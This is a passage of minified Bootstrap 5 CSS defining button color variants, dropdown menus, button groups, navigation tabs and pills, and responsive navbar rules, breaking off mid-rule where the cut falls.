.btn{color:var(--bs-btn-disabled-color);pointer-events:none;background-color:var(--bs-btn-disabled-bg);border-color:var(--bs-btn-disabled-border-color);opacity:var(--bs-btn-disabled-opacity)}.btn-primary{--bs-btn-color:#fff;--bs-btn-bg:#0d6efd;--bs-btn-border-color:#0d6efd;--bs-btn-hover-color:#fff;--bs-btn-hover-bg:#0b5ed7;--bs-btn-hover-border-color:#0a58ca;--bs-btn-focus-shadow-rgb:49,132,253;--bs-btn-active-color:#fff;--bs-btn-active-bg:#0a58ca;--bs-btn-active-border-color:#0a53be;--bs-btn-active-shadow:inset 0 3px 5px rgba(0, 0, 0, 0.125);--bs-btn-disabled-color:#fff;--bs-btn-disabled-bg:#0d6efd;--bs-btn-disabled-border-color:#0d6efd}.btn-secondary{--bs-btn-color:#fff;--bs-btn-bg:#6c757d;--bs-btn-border-color:#6c757d;--bs-btn-hover-color:#fff;--bs-btn-hover-bg:#5c636a;--bs-btn-hover-border-color:#565e64;--bs-btn-focus-shadow-rgb:130,138,145;--bs-btn-active-color:#fff;--bs-btn-active-bg:#565e64;--bs-btn-active-border-color:#51585e;--bs-btn-active-shadow:inset 0 3px 5px rgba(0, 0, 0, 0.125);--bs-btn-disabled-color:#fff;--bs-btn-disabled-bg:#6c757d;--bs-btn-disabled-border-color:#6c757d}.btn-success{--bs-btn-color:#fff;--bs-btn-bg:#198754;--bs-btn-border-color:#198754;--bs-btn-hover-color:#fff;--bs-btn-hover-bg:#157347;--bs-btn-hover-border-color:#146c43;--bs-btn-focus-shadow-rgb:60,153,110;--bs-btn-active-color:#fff;--bs-btn-active-bg:#146c43;--bs-btn-active-border-color:#13653f;--bs-btn-active-shadow:inset 0 3px 5px rgba(0, 0, 0, 0.125);--bs-btn-disabled-color:#fff;--bs-btn-disabled-bg:#198754;--bs-btn-disabled-border-color:#198754}.btn-info{--bs-btn-color:#000;--bs-btn-bg:#0dcaf0;--bs-btn-border-color:#0dcaf0;--bs-btn-hover-color:#000;--bs-btn-hover-bg:#31d2f2;--bs-btn-hover-border-color:#25cff2;--bs-btn-focus-shadow-rgb:11,172,204;--bs-btn-active-color:#000;--bs-btn-active-bg:#3dd5f3;--bs-btn-active-border-color:#25cff2;--bs-btn-active-shadow:inset 0 3px 5px rgba(0, 0, 0, 0.125);--bs-btn-disabled-color:#000;--bs-btn-disabled-bg:#0dcaf0;--bs-btn-disabled-border-color:#0dcaf0}.btn-warning{--bs-btn-color:#000;--bs-btn-bg:#ffc107;--bs-btn-border-color:#ffc107;--bs-btn-hover-color:#000;--bs-btn-hover-bg:#ffca2c;--bs-btn-hover-border-color:#ffc720;--bs-btn-focus-shadow-rgb:217,164,6;--bs-btn-active-color:#000;--bs-btn-active-bg:#ffcd39;--bs-btn-active-border-color:#ffc720;--bs-btn-active-shadow:inset 0 3px 5px rgba(0, 0, 0, 0.125);--bs-btn-disabled-color:#000;--bs-btn-disabled-bg:#ffc107;--bs-btn-disabled-border-color:#ffc107}.btn-danger{--bs-btn-color:#fff;--bs-btn-bg:#dc3545;--bs-btn-border-color:#dc3545;--bs-btn-hover-color:#fff;--bs-btn-hover-bg:#bb2d3b;--bs-btn-hover-border-color:#b02a37;--bs-btn-focus-shadow-rgb:225,83,97;--bs-btn-active-color:#fff;--bs-btn-active-bg:#b02a37;--bs-btn-active-border-color:#a52834;--bs-btn-active-shadow:inset 0 3px 5px rgba(0, 0, 0, 0.125);--bs-btn-disabled-color:#fff;--bs-btn-disabled-bg:#dc3545;--bs-btn-disabled-border-color:#dc3545}.btn-light{--bs-btn-color:#000;--bs-btn-bg:#f8f9fa;--bs-btn-border-color:#f8f9fa;--bs-btn-hover-color:#000;--bs-btn-hover-bg:#d3d4d5;--bs-btn-hover-border-color:#c6c7c8;--bs-btn-focus-shadow-rgb:211,212,213;--bs-btn-active-color:#000;--bs-btn-active-bg:#c6c7c8;--bs-btn-active-border-color:#babbbc;--bs-btn-active-shadow:inset 0 3px 5px rgba(0, 0, 0, 0.125);--bs-btn-disabled-color:#000;--bs-btn-disabled-bg:#f8f9fa;--bs-btn-disabled-border-color:#f8f9fa}.btn-dark{--bs-btn-color:#fff;--bs-btn-bg:#212529;--bs-btn-border-color:#212529;--bs-btn-hover-color:#fff;--bs-btn-hover-bg:#424649;--bs-btn-hover-border-color:#373b3e;--bs-btn-focus-shadow-rgb:66,70,73;--bs-btn-active-color:#fff;--bs-btn-active-bg:#4d5154;--bs-btn-active-border-color:#373b3e;--bs-btn-active-shadow:inset 0 3px 5px rgba(0, 0, 0, 0.125);--bs-btn-disabled-color:#fff;--bs-btn-disabled-bg:#212529;--bs-btn-disabled-border-color:#212529}.btn-outline-primary{--bs-btn-color:#0d6efd;--bs-btn-border-color:#0d6efd;--bs-btn-hover-color:#fff;--bs-btn-hover-bg:#0d6efd;--bs-btn-hover-border-color:#0d6efd;--bs-btn-focus-shadow-rgb:13,110,253;--bs-btn-active-color:#fff;--bs-btn-active-bg:#0d6efd;--bs-btn-active-border-color:#0d6efd;--bs-btn-active-shadow:inset 0 3px 5px rgba(0, 0, 0, 0.125);--bs-btn-disabled-color:#0d6efd;--bs-btn-disabled-bg:transparent;--bs-btn-disabled-border-color:#0d6efd;--bs-gradient:none}.btn-outline-secondary{--bs-btn-color:#6c757d;--bs-btn-border-color:#6c757d;--bs-btn-hover-color:#fff;--bs-btn-hover-bg:#6c757d;--bs-btn-hover-border-color:#6c757d;--bs-btn-focus-shadow-rgb:108,117,125;--bs-btn-active-color:#fff;--bs-btn-active-bg:#6c757d;--bs-btn-active-border-color:#6c757d;--bs-btn-active-shadow:inset 0 3px 5px rgba(0, 0, 0, 0.125);--bs-btn-disabled-color:#6c757d;--bs-btn-disabled-bg:transparent;--bs-btn-disabled-border-color:#6c757d;--bs-gradient:none}.btn-outline-success{--bs-btn-color:#198754;--bs-btn-border-color:#198754;--bs-btn-hover-color:#fff;--bs-btn-hover-bg:#198754;--bs-btn-hover-border-color:#198754;--bs-btn-focus-shadow-rgb:25,135,84;--bs-btn-active-color:#fff;--bs-btn-active-bg:#198754;--bs-btn-active-border-color:#198754;--bs-btn-active-shadow:inset 0 3px 5px rgba(0, 0, 0, 0.125);--bs-btn-disabled-color:#198754;--bs-btn-disabled-bg:transparent;--bs-btn-disabled-border-color:#198754;--bs-gradient:none}.btn-outline-info{--bs-btn-color:#0dcaf0;--bs-btn-border-color:#0dcaf0;--bs-btn-hover-color:#000;--bs-btn-hover-bg:#0dcaf0;--bs-btn-hover-border-color:#0dcaf0;--bs-btn-focus-shadow-rgb:13,202,240;--bs-btn-active-color:#000;--bs-btn-active-bg:#0dcaf0;--bs-btn-active-border-color:#0dcaf0;--bs-btn-active-shadow:inset 0 3px 5px rgba(0, 0, 0, 0.125);--bs-btn-disabled-color:#0dcaf0;--bs-btn-disabled-bg:transparent;--bs-btn-disabled-border-color:#0dcaf0;--bs-gradient:none}.btn-outline-warning{--bs-btn-color:#ffc107;--bs-btn-border-color:#ffc107;--bs-btn-hover-color:#000;--bs-btn-hover-bg:#ffc107;--bs-btn-hover-border-color:#ffc107;--bs-btn-focus-shadow-rgb:255,193,7;--bs-btn-active-color:#000;--bs-btn-active-bg:#ffc107;--bs-btn-active-border-color:#ffc107;--bs-btn-active-shadow:inset 0 3px 5px rgba(0, 0, 0, 0.125);--bs-btn-disabled-color:#ffc107;--bs-btn-disabled-bg:transparent;--bs-btn-disabled-border-color:#ffc107;--bs-gradient:none}.btn-outline-danger{--bs-btn-color:#dc3545;--bs-btn-border-color:#dc3545;--bs-btn-hover-color:#fff;--bs-btn-hover-bg:#dc3545;--bs-btn-hover-border-color:#dc3545;--bs-btn-focus-shadow-rgb:220,53,69;--bs-btn-active-color:#fff;--bs-btn-active-bg:#dc3545;--bs-btn-active-border-color:#dc3545;--bs-btn-active-shadow:inset 0 3px 5px rgba(0, 0, 0, 0.125);--bs-btn-disabled-color:#dc3545;--bs-btn-disabled-bg:transparent;--bs-btn-disabled-border-color:#dc3545;--bs-gradient:none}.btn-outline-light{--bs-btn-color:#f8f9fa;--bs-btn-border-color:#f8f9fa;--bs-btn-hover-color:#000;--bs-btn-hover-bg:#f8f9fa;--bs-btn-hover-border-color:#f8f9fa;--bs-btn-focus-shadow-rgb:248,249,250;--bs-btn-active-color:#000;--bs-btn-active-bg:#f8f9fa;--bs-btn-active-border-color:#f8f9fa;--bs-btn-active-shadow:inset 0 3px 5px rgba(0, 0, 0, 0.125);--bs-btn-disabled-color:#f8f9fa;--bs-btn-disabled-bg:transparent;--bs-btn-disabled-border-color:#f8f9fa;--bs-gradient:none}.btn-outline-dark{--bs-btn-color:#212529;--bs-btn-border-color:#212529;--bs-btn-hover-color:#fff;--bs-btn-hover-bg:#212529;--bs-btn-hover-border-color:#212529;--bs-btn-focus-shadow-rgb:33,37,41;--bs-btn-active-color:#fff;--bs-btn-active-bg:#212529;--bs-btn-active-border-color:#212529;--bs-btn-active-shadow:inset 0 3px 5px rgba(0, 0, 0, 0.125);--bs-btn-disabled-color:#212529;--bs-btn-disabled-bg:transparent;--bs-btn-disabled-border-color:#212529;--bs-gradient:none}.btn-link{--bs-btn-font-weight:400;--bs-btn-color:var(--bs-link-color);--bs-btn-bg:transparent;--bs-btn-border-color:transparent;--bs-btn-hover-color:var(--bs-link-hover-color);--bs-btn-hover-border-color:transparent;--bs-btn-active-color:var(--bs-link-hover-color);--bs-btn-active-border-color:transparent;--bs-btn-disabled-color:#6c757d;--bs-btn-disabled-border-color:transparent;--bs-btn-box-shadow:none;--bs-btn-focus-shadow-rgb:49,132,253;text-decoration:underline}.btn-link:focus-visible{color:var(--bs-btn-color)}.btn-link:hover{color:var(--bs-btn-hover-color)}.btn-group-lg>.btn,.btn-lg{--bs-btn-padding-y:0.5rem;--bs-btn-padding-x:1rem;--bs-btn-font-size:1.25rem;--bs-btn-border-radius:0.5rem}.btn-group-sm>.btn,.btn-sm{--bs-btn-padding-y:0.25rem;--bs-btn-padding-x:0.5rem;--bs-btn-font-size:0.875rem;--bs-btn-border-radius:0.25rem}.fade{transition:opacity .15s linear}@media (prefers-reduced-motion:reduce){.fade{transition:none}}.fade:not(.show){opacity:0}.collapse:not(.show){display:none}.collapsing{height:0;overflow:hidden;transition:height .35s ease}@media (prefers-reduced-motion:reduce){.collapsing{transition:none}}.collapsing.collapse-horizontal{width:0;height:auto;transition:width .35s ease}@media (prefers-reduced-motion:reduce){.collapsing.collapse-horizontal{transition:none}}.dropdown,.dropdown-center,.dropend,.dropstart,.dropup,.dropup-center{position:relative}.dropdown-toggle{white-space:nowrap}.dropdown-toggle::after{display:inline-block;margin-left:.255em;vertical-align:.255em;content:"";border-top:.3em solid;border-right:.3em solid transparent;border-bottom:0;border-left:.3em solid transparent}.dropdown-toggle:empty::after{margin-left:0}.dropdown-menu{--bs-dropdown-zindex:1000;--bs-dropdown-min-width:10rem;--bs-dropdown-padding-x:0;--bs-dropdown-padding-y:0.5rem;--bs-dropdown-spacer:0.125rem;--bs-dropdown-font-size:1rem;--bs-dropdown-color:#212529;--bs-dropdown-bg:#fff;--bs-dropdown-border-color:var(--bs-border-color-translucent);--bs-dropdown-border-radius:0.375rem;--bs-dropdown-border-width:1px;--bs-dropdown-inner-border-radius:calc(0.375rem - 1px);--bs-dropdown-divider-bg:var(--bs-border-color-translucent);--bs-dropdown-divider-margin-y:0.5rem;--bs-dropdown-box-shadow:0 0.5rem 1rem rgba(0, 0, 0, 0.15);--bs-dropdown-link-color:#212529;--bs-dropdown-link-hover-color:#1e2125;--bs-dropdown-link-hover-bg:#e9ecef;--bs-dropdown-link-active-color:#fff;--bs-dropdown-link-active-bg:#0d6efd;--bs-dropdown-link-disabled-color:#adb5bd;--bs-dropdown-item-padding-x:1rem;--bs-dropdown-item-padding-y:0.25rem;--bs-dropdown-header-color:#6c757d;--bs-dropdown-header-padding-x:1rem;--bs-dropdown-header-padding-y:0.5rem;position:absolute;z-index:var(--bs-dropdown-zindex);display:none;min-width:var(--bs-dropdown-min-width);padding:var(--bs-dropdown-padding-y) var(--bs-dropdown-padding-x);margin:0;font-size:var(--bs-dropdown-font-size);color:var(--bs-dropdown-color);text-align:left;list-style:none;background-color:var(--bs-dropdown-bg);background-clip:padding-box;border:var(--bs-dropdown-border-width) solid var(--bs-dropdown-border-color);border-radius:var(--bs-dropdown-border-radius)}.dropdown-menu[data-bs-popper]{top:100%;left:0;margin-top:var(--bs-dropdown-spacer)}.dropdown-menu-start{--bs-position:start}.dropdown-menu-start[data-bs-popper]{right:auto;left:0}.dropdown-menu-end{--bs-position:end}.dropdown-menu-end[data-bs-popper]{right:0;left:auto}@media (min-width:576px){.dropdown-menu-sm-start{--bs-position:start}.dropdown-menu-sm-start[data-bs-popper]{right:auto;left:0}.dropdown-menu-sm-end{--bs-position:end}.dropdown-menu-sm-end[data-bs-popper]{right:0;left:auto}}@media (min-width:768px){.dropdown-menu-md-start{--bs-position:start}.dropdown-menu-md-start[data-bs-popper]{right:auto;left:0}.dropdown-menu-md-end{--bs-position:end}.dropdown-menu-md-end[data-bs-popper]{right:0;left:auto}}@media (min-width:992px){.dropdown-menu-lg-start{--bs-position:start}.dropdown-menu-lg-start[data-bs-popper]{right:auto;left:0}.dropdown-menu-lg-end{--bs-position:end}.dropdown-menu-lg-end[data-bs-popper]{right:0;left:auto}}@media (min-width:1200px){.dropdown-menu-xl-start{--bs-position:start}.dropdown-menu-xl-start[data-bs-popper]{right:auto;left:0}.dropdown-menu-xl-end{--bs-position:end}.dropdown-menu-xl-end[data-bs-popper]{right:0;left:auto}}@media (min-width:1400px){.dropdown-menu-xxl-start{--bs-position:start}.dropdown-menu-xxl-start[data-bs-popper]{right:auto;left:0}.dropdown-menu-xxl-end{--bs-position:end}.dropdown-menu-xxl-end[data-bs-popper]{right:0;left:auto}}.dropup .dropdown-menu[data-bs-popper]{top:auto;bottom:100%;margin-top:0;margin-bottom:var(--bs-dropdown-spacer)}.dropup .dropdown-toggle::after{display:inline-block;margin-left:.255em;vertical-align:.255em;content:"";border-top:0;border-right:.3em solid transparent;border-bottom:.3em solid;border-left:.3em solid transparent}.dropup .dropdown-toggle:empty::after{margin-left:0}.dropend .dropdown-menu[data-bs-popper]{top:0;right:auto;left:100%;margin-top:0;margin-left:var(--bs-dropdown-spacer)}.dropend .dropdown-toggle::after{display:inline-block;margin-left:.255em;vertical-align:.255em;content:"";border-top:.3em solid transparent;border-right:0;border-bottom:.3em solid transparent;border-left:.3em solid}.dropend .dropdown-toggle:empty::after{margin-left:0}.dropend .dropdown-toggle::after{vertical-align:0}.dropstart .dropdown-menu[data-bs-popper]{top:0;right:100%;left:auto;margin-top:0;margin-right:var(--bs-dropdown-spacer)}.dropstart .dropdown-toggle::after{display:inline-block;margin-left:.255em;vertical-align:.255em;content:""}.dropstart .dropdown-toggle::after{display:none}.dropstart .dropdown-toggle::before{display:inline-block;margin-right:.255em;vertical-align:.255em;content:"";border-top:.3em solid transparent;border-right:.3em solid;border-bottom:.3em solid transparent}.dropstart .dropdown-toggle:empty::after{margin-left:0}.dropstart .dropdown-toggle::before{vertical-align:0}.dropdown-divider{height:0;margin:var(--bs-dropdown-divider-margin-y) 0;overflow:hidden;border-top:1px solid var(--bs-dropdown-divider-bg);opacity:1}.dropdown-item{display:block;width:100%;padding:var(--bs-dropdown-item-padding-y) var(--bs-dropdown-item-padding-x);clear:both;font-weight:400;color:var(--bs-dropdown-link-color);text-align:inherit;text-decoration:none;white-space:nowrap;background-color:transparent;border:0}.dropdown-item:focus,.dropdown-item:hover{color:var(--bs-dropdown-link-hover-color);background-color:var(--bs-dropdown-link-hover-bg)}.dropdown-item.active,.dropdown-item:active{color:var(--bs-dropdown-link-active-color);text-decoration:none;background-color:var(--bs-dropdown-link-active-bg)}.dropdown-item.disabled,.dropdown-item:disabled{color:var(--bs-dropdown-link-disabled-color);pointer-events:none;background-color:transparent}.dropdown-menu.show{display:block}.dropdown-header{display:block;padding:var(--bs-dropdown-header-padding-y) var(--bs-dropdown-header-padding-x);margin-bottom:0;font-size:.875rem;color:var(--bs-dropdown-header-color);white-space:nowrap}.dropdown-item-text{display:block;padding:var(--bs-dropdown-item-padding-y) var(--bs-dropdown-item-padding-x);color:var(--bs-dropdown-link-color)}.dropdown-menu-dark{--bs-dropdown-color:#dee2e6;--bs-dropdown-bg:#343a40;--bs-dropdown-border-color:var(--bs-border-color-translucent);--bs-dropdown-box-shadow: ;--bs-dropdown-link-color:#dee2e6;--bs-dropdown-link-hover-color:#fff;--bs-dropdown-divider-bg:var(--bs-border-color-translucent);--bs-dropdown-link-hover-bg:rgba(255, 255, 255, 0.15);--bs-dropdown-link-active-color:#fff;--bs-dropdown-link-active-bg:#0d6efd;--bs-dropdown-link-disabled-color:#adb5bd;--bs-dropdown-header-color:#adb5bd}.btn-group,.btn-group-vertical{position:relative;display:inline-flex;vertical-align:middle}.btn-group-vertical>.btn,.btn-group>.btn{position:relative;flex:1 1 auto}.btn-group-vertical>.btn-check:checked+.btn,.btn-group-vertical>.btn-check:focus+.btn,.btn-group-vertical>.btn.active,.btn-group-vertical>.btn:active,.btn-group-vertical>.btn:focus,.btn-group-vertical>.btn:hover,.btn-group>.btn-check:checked+.btn,.btn-group>.btn-check:focus+.btn,.btn-group>.btn.active,.btn-group>.btn:active,.btn-group>.btn:focus,.btn-group>.btn:hover{z-index:1}.btn-toolbar{display:flex;flex-wrap:wrap;justify-content:flex-start}.btn-toolbar .input-group{width:auto}.btn-group{border-radius:.375rem}.btn-group>.btn-group:not(:first-child),.btn-group>:not(.btn-check:first-child)+.btn{margin-left:-1px}.btn-group>.btn-group:not(:last-child)>.btn,.btn-group>.btn.dropdown-toggle-split:first-child,.btn-group>.btn:not(:last-child):not(.dropdown-toggle){border-top-right-radius:0;border-bottom-right-radius:0}.btn-group>.btn-group:not(:first-child)>.btn,.btn-group>.btn:nth-child(n+3),.btn-group>:not(.btn-check)+.btn{border-top-left-radius:0;border-bottom-left-radius:0}.dropdown-toggle-split{padding-right:.5625rem;padding-left:.5625rem}.dropdown-toggle-split::after,.dropend .dropdown-toggle-split::after,.dropup .dropdown-toggle-split::after{margin-left:0}.dropstart .dropdown-toggle-split::before{margin-right:0}.btn-group-sm>.btn+.dropdown-toggle-split,.btn-sm+.dropdown-toggle-split{padding-right:.375rem;padding-left:.375rem}.btn-group-lg>.btn+.dropdown-toggle-split,.btn-lg+.dropdown-toggle-split{padding-right:.75rem;padding-left:.75rem}.btn-group-vertical{flex-direction:column;align-items:flex-start;justify-content:center}.btn-group-vertical>.btn,.btn-group-vertical>.btn-group{width:100%}.btn-group-vertical>.btn-group:not(:first-child),.btn-group-vertical>.btn:not(:first-child){margin-top:-1px}.btn-group-vertical>.btn-group:not(:last-child)>.btn,.btn-group-vertical>.btn:not(:last-child):not(.dropdown-toggle){border-bottom-right-radius:0;border-bottom-left-radius:0}.btn-group-vertical>.btn-group:not(:first-child)>.btn,.btn-group-vertical>.btn~.btn{border-top-left-radius:0;border-top-right-radius:0}.nav{--bs-nav-link-padding-x:1rem;--bs-nav-link-padding-y:0.5rem;--bs-nav-link-font-weight: ;--bs-nav-link-color:var(--bs-link-color);--bs-nav-link-hover-color:var(--bs-link-hover-color);--bs-nav-link-disabled-color:#6c757d;display:flex;flex-wrap:wrap;padding-left:0;margin-bottom:0;list-style:none}.nav-link{display:block;padding:var(--bs-nav-link-padding-y) var(--bs-nav-link-padding-x);font-size:var(--bs-nav-link-font-size);font-weight:var(--bs-nav-link-font-weight);color:var(--bs-nav-link-color);text-decoration:none;transition:color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out}@media (prefers-reduced-motion:reduce){.nav-link{transition:none}}.nav-link:focus,.nav-link:hover{color:var(--bs-nav-link-hover-color)}.nav-link.disabled{color:var(--bs-nav-link-disabled-color);pointer-events:none;cursor:default}.nav-tabs{--bs-nav-tabs-border-width:1px;--bs-nav-tabs-border-color:#dee2e6;--bs-nav-tabs-border-radius:0.375rem;--bs-nav-tabs-link-hover-border-color:#e9ecef #e9ecef #dee2e6;--bs-nav-tabs-link-active-color:#495057;--bs-nav-tabs-link-active-bg:#fff;--bs-nav-tabs-link-active-border-color:#dee2e6 #dee2e6 #fff;border-bottom:var(--bs-nav-tabs-border-width) solid var(--bs-nav-tabs-border-color)}.nav-tabs .nav-link{margin-bottom:calc(-1 * var(--bs-nav-tabs-border-width));background:0 0;border:var(--bs-nav-tabs-border-width) solid transparent;border-top-left-radius:var(--bs-nav-tabs-border-radius);border-top-right-radius:var(--bs-nav-tabs-border-radius)}.nav-tabs .nav-link:focus,.nav-tabs .nav-link:hover{isolation:isolate;border-color:var(--bs-nav-tabs-link-hover-border-color)}.nav-tabs .nav-link.disabled,.nav-tabs .nav-link:disabled{color:var(--bs-nav-link-disabled-color);background-color:transparent;border-color:transparent}.nav-tabs .nav-item.show .nav-link,.nav-tabs .nav-link.active{color:var(--bs-nav-tabs-link-active-color);background-color:var(--bs-nav-tabs-link-active-bg);border-color:var(--bs-nav-tabs-link-active-border-color)}.nav-tabs .dropdown-menu{margin-top:calc(-1 * var(--bs-nav-tabs-border-width));border-top-left-radius:0;border-top-right-radius:0}.nav-pills{--bs-nav-pills-border-radius:0.375rem;--bs-nav-pills-link-active-color:#fff;--bs-nav-pills-link-active-bg:#0d6efd}.nav-pills .nav-link{background:0 0;border:0;border-radius:var(--bs-nav-pills-border-radius)}.nav-pills .nav-link:disabled{color:var(--bs-nav-link-disabled-color);background-color:transparent;border-color:transparent}.nav-pills .nav-link.active,.nav-pills .show>.nav-link{color:var(--bs-nav-pills-link-active-color);background-color:var(--bs-nav-pills-link-active-bg)}.nav-fill .nav-item,.nav-fill>.nav-link{flex:1 1 auto;text-align:center}.nav-justified .nav-item,.nav-justified>.nav-link{flex-basis:0;flex-grow:1;text-align:center}.nav-fill .nav-item .nav-link,.nav-justified .nav-item .nav-link{width:100%}.tab-content>.tab-pane{display:none}.tab-content>.active{display:block}.navbar{--bs-navbar-padding-x:0;--bs-navbar-padding-y:0.5rem;--bs-navbar-color:rgba(0, 0, 0, 0.55);--bs-navbar-hover-color:rgba(0, 0, 0, 0.7);--bs-navbar-disabled-color:rgba(0, 0, 0, 0.3);--bs-navbar-active-color:rgba(0, 0, 0, 0.9);--bs-navbar-brand-padding-y:0.3125rem;--bs-navbar-brand-margin-end:1rem;--bs-navbar-brand-font-size:1.25rem;--bs-navbar-brand-color:rgba(0, 0, 0, 0.9);--bs-navbar-brand-hover-color:rgba(0, 0, 0, 0.9);--bs-navbar-nav-link-padding-x:0.5rem;--bs-navbar-toggler-padding-y:0.25rem;--bs-navbar-toggler-padding-x:0.75rem;--bs-navbar-toggler-font-size:1.25rem;--bs-navbar-toggler-icon-bg:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 30 30'%3e%3cpath stroke='rgba%280, 0, 0, 0.55%29' stroke-linecap='round' stroke-miterlimit='10' stroke-width='2' d='M4 7h22M4 15h22M4 23h22'/%3e%3c/svg%3e");--bs-navbar-toggler-border-color:rgba(0, 0, 0, 0.1);--bs-navbar-toggler-border-radius:0.375rem;--bs-navbar-toggler-focus-width:0.25rem;--bs-navbar-toggler-transition:box-shadow 0.15s ease-in-out;position:relative;display:flex;flex-wrap:wrap;align-items:center;justify-content:space-between;padding:var(--bs-navbar-padding-y) var(--bs-navbar-padding-x)}.navbar>.container,.navbar>.container-fluid,.navbar>.container-lg,.navbar>.container-md,.navbar>.container-sm,.navbar>.container-xl,.navbar>.container-xxl{display:flex;flex-wrap:inherit;align-items:center;justify-content:space-between}.navbar-brand{padding-top:var(--bs-navbar-brand-padding-y);padding-bottom:var(--bs-navbar-brand-padding-y);margin-right:var(--bs-navbar-brand-margin-end);font-size:var(--bs-navbar-brand-font-size);color:var(--bs-navbar-brand-color);text-decoration:none;white-space:nowrap}.navbar-brand:focus,.navbar-brand:hover{color:var(--bs-navbar-brand-hover-color)}.navbar-nav{--bs-nav-link-padding-x:0;--bs-nav-link-padding-y:0.5rem;--bs-nav-link-font-weight: ;--bs-nav-link-color:var(--bs-navbar-color);--bs-nav-link-hover-color:var(--bs-navbar-hover-color);--bs-nav-link-disabled-color:var(--bs-navbar-disabled-color);display:flex;flex-direction:column;padding-left:0;margin-bottom:0;list-style:none}.navbar-nav .nav-link.active,.navbar-nav .show>.nav-link{color:var(--bs-navbar-active-color)}.navbar-nav .dropdown-menu{position:static}.navbar-text{padding-top:.5rem;padding-bottom:.5rem;color:var(--bs-navbar-color)}.navbar-text a,.navbar-text a:focus,.navbar-text a:hover{color:var(--bs-navbar-active-color)}.navbar-collapse{flex-basis:100%;flex-grow:1;align-items:center}.navbar-toggler{padding:var(--bs-navbar-toggler-padding-y) var(--bs-navbar-toggler-padding-x);font-size:var(--bs-navbar-toggler-font-size);line-height:1;color:var(--bs-navbar-color);background-color:transparent;border:var(--bs-border-width) solid var(--bs-navbar-toggler-border-color);border-radius:var(--bs-navbar-toggler-border-radius);transition:var(--bs-navbar-toggler-transition)}@media (prefers-reduced-motion:reduce){.navbar-toggler{transition:none}}.navbar-toggler:hover{text-decoration:none}.navbar-toggler:focus{text-decoration:none;outline:0;box-shadow:0 0 0 var(--bs-navbar-toggler-focus-width)}.navbar-toggler-icon{display:inline-block;width:1.5em;height:1.5em;vertical-align:middle;background-image:var(--bs-navbar-toggler-icon-bg);background-repeat:no-repeat;background-position:center;background-size:100%}.navbar-nav-scroll{max-height:var(--bs-scroll-height,75vh);overflow-y:auto}@media (min-width:576px){.navbar-expand-sm{flex-wrap:nowrap;justify-content:flex-start}.navbar-expand-sm .navbar-nav{flex-direction:row}.navbar-expand-sm .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-sm .navbar-nav .nav-link{padding-right:var(--bs-navbar-nav-link-padding-x);padding-left:var(--bs-navbar-nav-link-padding-x)}.navbar-expand-sm .navbar-nav-scroll{overflow:visible}.navbar-expand-sm .navbar-collapse{display:flex!important;flex-basis:auto}.navbar-expand-sm .navbar-toggler{display:none}.navbar-expand-sm .offcanvas{position:static;z-index:auto;flex-grow:1;width:auto!important;height:auto!important;visibility:visible!important;background-color:transparent!important;border:0!important;transform:none!important;transition:none}.navbar-expand-sm .offcanvas .offcanvas-header{display:none}.navbar-expand-sm .offcanvas .offcanvas-body{display:flex;flex-grow:0;padding:0;overflow-y:visible}}@media (min-width:768px){.navbar-expand-md{flex-wrap:nowrap;justify-content:flex-start}.navbar-expand-md .navbar-nav{flex-direction:row}.navbar-expand-md .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-md .navbar-nav .nav-link{padding-right:var(--bs-navbar-nav-link-padding-x);padding-left:var(--bs-navbar-nav-link-padding-x)}.navbar-expand-md .navbar-nav-scroll{overflow:visible}.navbar-expand-md .navbar-collapse{display:flex!important;flex-basis:auto}.navbar-expand-md .navbar-toggler{display:none}.navbar-expand-md .offcanvas{position:static;z-index:auto;flex-grow:1;width:auto!important;height:auto!important;visibility:visible!important;background-color:transparent!important;border:0!important;transform:none!important;transition:none}.navbar-expand-md .offcanvas .offcanvas-header{display:none}.navbar-expand-md .offcanvas .offcanvas-body{display:flex;flex-grow:0;padding:0;overflow-y:visible}}@media (min-width:992px){.navbar-expand-lg{flex-wrap:nowrap;justify-content:flex-start}.navbar-expand-lg .navbar-nav{flex-direction:row}.navbar-expand-lg .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-lg .navbar-nav .nav-link{padding-right:var(--bs-navbar-nav-link-padding-x);padding-left:var(--bs-navbar-nav-link-padding-x)}.navbar-expand-lg .navbar-nav-scroll{overflow:visible}.navbar-expand-lg .navbar-collapse{display:flex!important;flex-basis:auto}.navbar-expand-lg .navbar-toggler{display:none}.navbar-expand-lg .offcanvas{position:static;z-index:auto;flex-grow:1;width:auto!important;height:auto!important;visibility:visible!important;background-color:transparent!important;border:0!important;transform:none!important;transition:none}.navbar-expand-lg .offcanvas .offcanvas-header{display:none}.navbar-expand-lg .offcanvas .offcanvas-body{display:flex;flex-grow:0;padding:0;overflow-y:visible}}@media (min-width:1200px){.navbar-expand-xl{flex-wrap:nowrap;justify-content:flex-start}.navbar-expand-xl .navbar-nav{flex-direction:row}.navbar-expand-xl .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-xl .navbar-nav .nav-link{padding-right:var(--bs-navbar-nav-link-padding-x);padding-left:var(--bs-navbar-nav-link-padding-x)}.navbar-expand-xl .navbar-nav-scroll{overflow:visible}.navbar-expand-xl .navbar-collapse{display:flex!important;flex-basis:auto}.navbar-expand-xl .navbar-toggler{display:none}.navbar-expand-xl .offcanvas{position:static;z-index:auto;flex-grow:1;width:auto!important;height:auto!important;visibility:visible!important;background-color:transparent!important;border:0!important;transform:none!important;transition:none}.navbar-expand-xl .offcanvas .offcanvas-header{display:none}.navbar-expand-xl .offcanvas .offcanvas-body{display:flex;flex-grow:0;padding:0;overflow-y:visible}}@media (min-width:1400px){.navbar-expand-xxl{flex-wrap:nowrap;justify-content:flex-start}.navbar-expand-xxl .navbar-nav{flex-direction:row}.navbar-expand-xxl .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-xxl .navbar-nav .nav-link{padding-right:var(--bs-navbar-nav-link-padding-x);padding-left:var(--bs-navbar-nav-link-padding-x)}.navbar-expand-xxl .navbar-nav-scroll{overflow:visible}.navbar-expand-xxl .navbar-collapse{display:flex!important;flex-basis:auto}.navbar-expand-xxl .navbar-toggler{display:none}.navbar-expand-xxl .offcanvas{position:static;z-index:auto;flex-grow:1;width:auto!important;height:auto!important;visibility:visible!important;background-color:transparent!important;border:0!important;transform:none!important;transition:none}.navbar-expand-xxl .offcanvas .offcanvas-header{display:none}.navbar-expand-xxl .offcanvas 